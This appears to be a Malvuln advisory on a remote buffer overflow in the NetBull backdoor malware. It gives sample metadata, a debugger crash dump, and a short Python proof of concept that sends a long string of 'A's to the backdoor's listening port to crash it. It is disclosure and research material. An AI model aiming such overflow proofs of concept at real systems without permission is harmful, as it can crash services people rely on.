Backdoor.Win32.NetBull.11.a malware suffers from a remote buffer overflow vulnerability.
c7e98adc9680b9ba74fa492156661473Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/80e98fdf726a3e727f3414bdbf2e86bb.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.NetBull.11.a
Vulnerability: Remote Buffer Overflow
Description: Netbull listens on both TCP ports 23444 and 23445, sending a large string of junk chars causes stack corruption overwriting EDX register.
Type: PE32
MD5: 80e98fdf726a3e727f3414bdbf2e86bb
Vuln ID: MVID-2021-0035
Dropped files: c:\infected.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/18/2021
Memory Dump:
EAX : 70D87B24 mfc42.70D87B24
EBX : FFFFFFFF
ECX : 2E240010
EDX : 41414140
EBP : 028F86A8
ESP : 0019F8C4
ESI : 2E240000
EDI : 3FFFFFC2
EIP : 70CA85D5 mfc42.70CA85D5
(1a2c.13f4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=2e05f010 edx=41414140 esi=00000003 edi=00000003
eip=773ced3c esp=0019ef84 ebp=0019f114 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
mfc42!CString::CString+5
73c685d5 8901 mov dword ptr [ecx],eax
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 73c685d5 (mfc42!CString::CString+0x00000005)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 2e05f010
Attempt to write to address 2e05f010
PROCESS_NAME: Backdoor.Win32.NetBull.11.a.80e98fdf726a3e727f3414bdbf2e86bb.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 2e05f010
WRITE_ADDRESS: 2e05f010
FOLLOWUP_IP:
mfc42!CString::CString+5
73c685d5 8901 mov dword ptr [ecx],eax
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 000013f4
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff
DEFAULT_BUCKET_ID: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff
LAST_CONTROL_TRANSFER: from 00407f45 to 73c685d5
STACK_TEXT:
0019f8c0 00407f45 2e05f000 2e05f000 0019f8ec mfc42!CString::CString+0x5
WARNING: Stack unwind information not available. Following frames may be wrong.
0019f8d8 00407efb 043448fc 41414141 0019f9bc Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7f45
0019f8f4 00407408 2e05f000 2e05f000 00000001 Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7efb
00000000 00000000 00000000 00000000 00000000 Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7408
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: mfc42!CString::CString+5
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: mfc42
IMAGE_NAME: mfc42.dll
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=23444
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PACKET="A"*666
s.send(PACKET)
s.close()
print("Backdoor.Win32.NetBull.11.a / Remote Buffer Overflow");
print("MD5: 80e98fdf726a3e727f3414bdbf2e86bb");
print("By Malvuln");
if __name__=="__main__":
doit()
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